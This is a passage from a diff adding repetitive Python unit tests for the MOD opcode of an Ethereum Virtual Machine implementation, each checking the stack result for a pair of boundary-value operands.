+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MOD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_MOD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MOD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MOD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MOD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MOD_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MOD_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MOD_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MOD_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MOD_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
